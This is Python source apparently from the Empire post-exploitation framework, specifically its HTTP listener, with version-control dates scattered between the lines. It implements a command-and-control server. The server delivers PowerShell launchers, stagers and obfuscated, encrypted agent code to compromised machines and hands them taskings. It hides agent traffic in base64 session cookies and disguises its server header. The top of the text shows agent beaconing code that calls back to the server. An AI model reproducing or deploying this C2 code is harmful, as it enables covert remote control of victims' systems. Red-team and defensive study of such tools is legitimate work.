routingPacket = build_routing_packet ( stagingKey , sessionID , meta = 4 )
b64routingPacket = base64 . b64encode ( routingPacket )
headers [ ' Cookie ' ] = " session= %s " % ( b64routingPacket )
taskURI = random . sample ( taskURIs , 1 ) [ 0 ]
requestUri = server + taskURI
try :
data = ( urllib2 . urlopen ( urllib2 . Request ( requestUri , data , headers ) ) ) . read ( )
return ( ' 200 ' , data )
except urllib2 . HTTPError as HTTPError :
# if the server is reached, but returns an erro (like 404)
missedCheckins = missedCheckins + 1
return ( HTTPError . code , ' ' )
except urllib2 . URLError as URLerror :
# if the server cannot be reached
missedCheckins = missedCheckins + 1
return ( URLerror . reason , ' ' )
return ( ' ' , ' ' )
"""
return updateServers + sendMessage
else :
print helpers . color ( " [!] listeners/http generate_comms(): invalid language specification, only ' powershell ' and ' python ' are currently supported for this module. " )
else :
print helpers . color ( ' [!] listeners/http generate_comms(): no language specified! ' )
def start_server ( self , listenerOptions ) :
"""
Threaded function that actually starts up the Flask server .
"""
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy . deepcopy ( listenerOptions )
# suppress the normal Flask output
log = logging . getLogger ( ' werkzeug ' )
log . setLevel ( logging . ERROR )
bindIP = listenerOptions [ ' BindIP ' ] [ ' Value ' ]
host = listenerOptions [ ' Host ' ] [ ' Value ' ]
port = listenerOptions [ ' Port ' ] [ ' Value ' ]
stagingKey = listenerOptions [ ' StagingKey ' ] [ ' Value ' ]
2017-09-26 14:13:21 +00:00
stagerURI = listenerOptions [ ' StagerURI ' ] [ ' Value ' ]
userAgent = self . options [ ' UserAgent ' ] [ ' Value ' ]
listenerName = self . options [ ' Name ' ] [ ' Value ' ]
proxy = self . options [ ' Proxy ' ] [ ' Value ' ]
proxyCreds = self . options [ ' ProxyCreds ' ] [ ' Value ' ]
2016-09-23 18:04:35 +00:00
app = Flask ( __name__ )
self . app = app
2017-09-28 14:53:11 +00:00
2017-09-26 14:13:21 +00:00
@app.route ( ' /<string:stagerURI> ' )
def send_stager ( stagerURI ) :
if stagerURI :
launcher = self . mainMenu . stagers . generate_launcher ( listenerName , language = ' powershell ' , encode = False , userAgent = userAgent , proxy = proxy , proxyCreds = proxyCreds )
return launcher
else :
pass
2016-09-23 18:04:35 +00:00
@app.before_request
def check_ip ( ) :
"""
Before every request , check if the IP address is allowed .
"""
if not self . mainMenu . agents . is_ip_allowed ( request . remote_addr ) :
dispatcher . send ( " [!] %s on the blacklist/not on the whitelist requested resource " % ( request . remote_addr ) , sender = " listeners/http " )
return make_response ( self . default_response ( ) , 200 )
@app.after_request
def change_header ( response ) :
" Modify the default server version in the response. "
response . headers [ ' Server ' ] = listenerOptions [ ' ServerVersion ' ] [ ' Value ' ]
return response
2017-02-13 22:36:20 +00:00
@app.after_request
def add_proxy_headers ( response ) :
" Add HTTP headers to avoid proxy caching. "
response . headers [ ' Cache-Control ' ] = " no-cache, no-store, must-revalidate "
response . headers [ ' Pragma ' ] = " no-cache "
response . headers [ ' Expires ' ] = " 0 "
return response
2016-09-23 18:04:35 +00:00
@app.route ( ' /<path:request_uri> ' , methods = [ ' GET ' ] )
def handle_get ( request_uri ) :
"""
Handle an agent GET request .
This is used during the first step of the staging process ,
and when the agent requests taskings .
"""
clientIP = request . remote_addr
dispatcher . send ( " [*] GET request for %s / %s from %s " % ( request . host , request_uri , clientIP ) , sender = ' listeners/http ' )
routingPacket = None
cookie = request . headers . get ( ' Cookie ' )
if cookie and cookie != ' ' :
try :
# see if we can extract the 'routing packet' from the specified cookie location
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if ' session ' in cookie :
2016-10-24 17:12:50 +00:00
dispatcher . send ( " [*] GET cookie value from %s : %s " % ( clientIP , cookie ) , sender = ' listeners/http ' )
2016-09-23 18:04:35 +00:00
cookieParts = cookie . split ( ' ; ' )
for part in cookieParts :
if part . startswith ( ' session ' ) :
base64RoutingPacket = part [ part . find ( ' = ' ) + 1 : ]
# decode the routing packet base64 value in the cookie
routingPacket = base64 . b64decode ( base64RoutingPacket )
except Exception as e :
routingPacket = None
pass
if routingPacket :
# parse the routing packet and process the results
dataResults = self . mainMenu . agents . handle_agent_data ( stagingKey , routingPacket , listenerOptions , clientIP )
if dataResults and len ( dataResults ) > 0 :
for ( language , results ) in dataResults :
if results :
if results == ' STAGE0 ' :
# handle_agent_data() signals that the listener should return the stager.ps1 code
# step 2 of negotiation -> return stager.ps1 (stage 1)
dispatcher . send ( " [*] Sending %s stager (stage 1) to %s " % ( language , clientIP ) , sender = ' listeners/http ' )
2017-03-11 23:35:17 +00:00
stage = self . generate_stager ( language = language , listenerOptions = listenerOptions , obfuscate = self . mainMenu . obfuscate , obfuscationCommand = self . mainMenu . obfuscateCommand )
2016-09-23 18:04:35 +00:00
return make_response ( stage , 200 )
elif results . startswith ( ' ERROR: ' ) :
dispatcher . send ( " [!] Error from agents.handle_agent_data() for %s from %s : %s " % ( request_uri , clientIP , results ) , sender = ' listeners/http ' )
if ' not in cache ' in results :
# signal the client to restage
print helpers . color ( " [*] Orphaned agent from %s , signaling retaging " % ( clientIP ) )
return make_response ( self . default_response ( ) , 401 )
else :
return make_response ( self . default_response ( ) , 200 )
else :
# actual taskings
dispatcher . send ( " [*] Agent from %s retrieved taskings " % ( clientIP ) , sender = ' listeners/http ' )
return make_response ( results , 200 )
else :
# dispatcher.send("[!] Results are None...", sender='listeners/http')
return make_response ( self . default_response ( ) , 200 )
else :
return make_response ( self . default_response ( ) , 200 )
else :
dispatcher . send ( " [!] %s requested by %s with no routing packet. " % ( request_uri , clientIP ) , sender = ' listeners/http ' )
return make_response ( self . default_response ( ) , 200 )
@app.route ( ' /<path:request_uri> ' , methods = [ ' POST ' ] )
def handle_post ( request_uri ) :
"""
Handle an agent POST request .
"""
stagingKey = listenerOptions [ ' StagingKey ' ] [ ' Value ' ]
clientIP = request . remote_addr
2016-10-24 17:12:50 +00:00
requestData = request . get_data ( )
dispatcher . send ( " [*] POST request data length from %s : %s " % ( clientIP , len ( requestData ) ) , sender = ' listeners/http ' )
2016-09-23 18:04:35 +00:00
# the routing packet should be at the front of the binary request.data
# NOTE: this can also go into a cookie/etc.
2016-10-24 17:12:50 +00:00
dataResults = self . mainMenu . agents . handle_agent_data ( stagingKey , requestData , listenerOptions , clientIP )
2016-09-23 18:04:35 +00:00
if dataResults and len ( dataResults ) > 0 :
for ( language , results ) in dataResults :
if results :
if results . startswith ( ' STAGE2 ' ) :
# TODO: document the exact results structure returned
2017-04-08 01:50:53 +00:00
if ' : ' in clientIP :
clientIP = ' [ ' + str ( clientIP ) + ' ] '
2016-09-23 18:04:35 +00:00
sessionID = results . split ( ' ' ) [ 1 ] . strip ( )
sessionKey = self . mainMenu . agents . agents [ sessionID ] [ ' sessionKey ' ]
dispatcher . send ( " [*] Sending agent (stage 2) to %s at %s " % ( sessionID , clientIP ) , sender = ' listeners/http ' )
2016-11-28 16:54:57 +00:00
hopListenerName = request . headers . get ( ' Hop-Name ' )
try :
hopListener = helpers . get_listener_options ( hopListenerName )
tempListenerOptions = copy . deepcopy ( listenerOptions )
tempListenerOptions [ ' Host ' ] [ ' Value ' ] = hopListener [ ' Host ' ] [ ' Value ' ]
except TypeError :
tempListenerOptions = listenerOptions
2016-09-23 18:04:35 +00:00
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
2017-04-23 02:08:55 +00:00
agentCode = self . generate_agent ( language = language , listenerOptions = tempListenerOptions , obfuscate = self . mainMenu . obfuscate , obfuscationCommand = self . mainMenu . obfuscateCommand )
2016-09-23 18:04:35 +00:00
encryptedAgent = encryption . aes_encrypt_then_hmac ( sessionKey , agentCode )
# TODO: wrap ^ in a routing packet?
return make_response ( encryptedAgent , 200 )
elif results [ : 10 ] . lower ( ) . startswith ( ' error ' ) or results [ : 10 ] . lower ( ) . startswith ( ' exception ' ) :
dispatcher . send ( " [!] Error returned for results by %s : %s " % ( clientIP , results ) , sender = ' listeners/http ' )
return make_response ( self . default_response ( ) , 200 )
elif results == ' VALID ' :
dispatcher . send ( " [*] Valid results return by %s " % ( clientIP ) , sender = ' listeners/http ' )
return make_response ( self . default_response ( ) , 200 )
else :
return make_response ( results , 200 )
else :
return make_response ( self . default_response ( ) , 200 )
else :
return make_response ( self . default_response ( ) , 200 )
try :
certPath = listenerOptions [ ' CertPath ' ] [ ' Value ' ]
host = listenerOptions [ ' Host ' ] [ ' Value ' ]
if certPath . strip ( ) != ' ' and host . startswith ( ' https ' ) :
2017-08-31 01:43:53 +00:00
certPath = os . path . abspath ( certPath )
context = ssl . SSLContext ( ssl . PROTOCOL_TLSv1 )
context . load_cert_chain ( " %s /empire-chain.pem " % ( certPath ) , " %s /empire-priv.key " % ( certPath ) )
2017-06-30 03:11:01 +00:00
app . run ( host = bindIP , port = int ( port ) , threaded = True , ssl_context = context )
2016-09-23 18:04:35 +00:00
else :
app . run ( host = bindIP , port = int ( port ) , threaded = True )
except Exception as e :
print helpers . color ( " [!] Listener startup on port %s failed: %s " % ( port , e ) )
dispatcher . send ( " [!] Listener startup on port %s failed: %s " % ( port , e ) , sender = ' listeners/http ' )
def start ( self , name = ' ' ) :
"""
Start a threaded instance of self . start_server ( ) and store it in the
self . threads dictionary keyed by the listener name .
"""
listenerOptions = self . options
if name and name != ' ' :
self . threads [ name ] = helpers . KThread ( target = self . start_server , args = ( listenerOptions , ) )
self . threads [ name ] . start ( )
time . sleep ( 1 )
# returns True if the listener successfully started, false otherwise
return self . threads [ name ] . is_alive ( )
else :
name = listenerOptions [ ' Name ' ] [ ' Value ' ]
self . threads [ name ] = helpers . KThread ( target = self . start_server , args = ( listenerOptions , ) )
self . threads [ name ] . start ( )
time . sleep ( 1 )
# returns True if the listener successfully started, false otherwise
return self . threads [ name ] . is_alive ( )
def shutdown ( self , name = ' ' ) :
"""
Terminates the server thread stored in the self . threads dictionary ,
keyed by the listener name .
"""
if name and name != ' ' :
print helpers . color ( " [!] Killing listener ' %s ' " % ( name ) )
self . threads [ name ] . kill ( )
else :
print helpers . color ( " [!] Killing listener ' %s ' " % ( self . options [ ' Name ' ] [ ' Value ' ] ) )
2017-09-28 14:53:11 +00:00
self . threads [ self . options [ ' Name ' ] [ ' Value ' ] ] . kill ( )